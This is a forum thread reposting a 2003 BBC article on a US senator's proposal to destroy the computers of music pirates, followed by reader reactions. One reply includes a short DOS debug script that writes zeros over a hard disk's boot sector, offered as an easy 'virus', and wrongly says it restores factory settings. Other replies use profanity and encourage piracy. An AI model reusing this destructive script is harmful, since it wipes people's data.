Destroy 'pirate' PCs, says [US] politician

[ChiTown Lady]

Check out this BBC article. This is outrageous! And this would mean destroying anyone in the world's computer - not just US American's computers. The politicians in this country are becoming tyrants on EVERY front.

Destroy 'pirate' PCs, says politician

A US senator wants to develop new technology which would remotely destroy the computers of people who illegally download music tracks.

Senator Orrin Hatch, a Republican representing Utah, asked technology chiefs at a hearing in Washington about whether they could develop ways to damage or destroy the computers.

Legal experts have said any attack on people's computers would contravene the US's anti-hacking laws.

Mr Hatch said damaging computers "may be the only way you can teach someone about copyright".

"No-one is interested in destroying anyone's computer," said Randy Saaf from MediaDefender, a company which develops ways to disrupt illegal music downloads.

Serious clampdown

"If we can find some way to do this without destroying their machines, we'd be interested in hearing about that," Mr Hatch said.

"If that's the only way, then I'm all for destroying their machines."
He said if a few hundred thousand people suffered damage to their computers, the online community would realise the clampdown was serious.

He advocated sending two warnings to computer users about illegal downloads. On the third transgression, their computer would be destroyed or damaged.

"There's no excuse for anyone violating copyright laws," Mr Hatch added. Mr Hatch is a composer himself, having earned some $18,000 (£11,125) from his music in the last year.

'Draconian measures'

Senator Patrick Leahy, the committee's senior Democrat member, later said he thought Mr Hatch's plan was too drastic.

"The rights of copyright holders need to be protected, but some draconian remedies that have been suggested would create more problems than they would solve," Mr Leahy said.

"We need to work together to find the right answers, and this is not one of them."

A spokesman for the Recording Industry Association of America (RIAA) said Mr Hatch was making a point that if networks did not clamp down on copyright infringement "Congress may be forced to consider stronger measures".

Last year, Democratic senator Howard Berman drew up a bill that would allow artists to carry out "hack-attacks" on the computers of people who had downloaded tracks illegitimately.

Story from BBC NEWS:

http://news.bbc.co.uk/go/pr/fr/-/2/hi/ente...ent/2999780.stm (http://news.bbc.co.uk/go/pr/fr/-/2/hi/entertainment/2999780.stm)

Published: 2003/06/18 10:04:03 GMT

© BBC MMIII

[F1DG3T]

interesting very interesting

to create a virus that would destroy Ilegal computers i could do it its easy you just upload and run

debug.bat
F 200 L1000 0
A CS:100
MOV ax,301
MOV bx,200
MOV cx,1
MOV dx,80
Int13
Int20

g
q
that would erase any harddrive to factory settings

my only concern is that the hacking community would then be justified computer data protection act 1988 updated 1998 denies unauthorised access to a computer. unauthorised means with oout the consent of the owner

[CubanFox]

What. Utter. Garbage.

This Hatch guy is insane. Not only is the idea highly illegal, it's also impractical. How do they know that the offenders haven't bought the CDs? Or that the songs are out of copyright? (the writer being dead for 50 or so years)

[F1DG3T]

easy

everywhere you go you leave an electronic trail like the slime that snails leave

if you have broad band you may have a static IP (one which doesn't alter eachtime you log on) to prove you logged into a server is easy, for me to prove you've been in my harddrive is easy too log files record access's and everything. as for legality it is illegal but not if the government for the sake of national security change the data protection acts to allow access to government agents etc

you know they will do it its inevitable but it also won't stop if you can make it you can break ultimately if your going to download unplug your computer

[LastingDamage]

F1DG3T is right, any decent cracker could do stuff like that with ease, we are sheeps to the slaugher every time we log on to the internet, someone should teach that senator how nice it is to have your computer fucked by some bastard eating pizza a thousand miles away.
On the other issue, I'm all music being for all, musical artists gain an unfair amount of fame and money for the skills they have, which are usually comparable to most average people, but they dont drive around in limos. This is the reason why 'underground scenes' develop. I say give music back to the people and the performers who do it to enjoy performing, theres enough money in performing and a few official CD sales to keep anyone goin, and take it away from capitalist corporations. The internet should be allowed to be used for its full purpose of sharing information, not controlled by governments! Free information is the first step to a free society.

[schumi]

fuck the little motherfuckers!!

what are the whinging about!! the people who sing the songs already make enough money!!So why should we have to pay them even more?!! the capitalist bastards!!!

Use any kind of P2P program to avoid getting those damn politicians their way!!!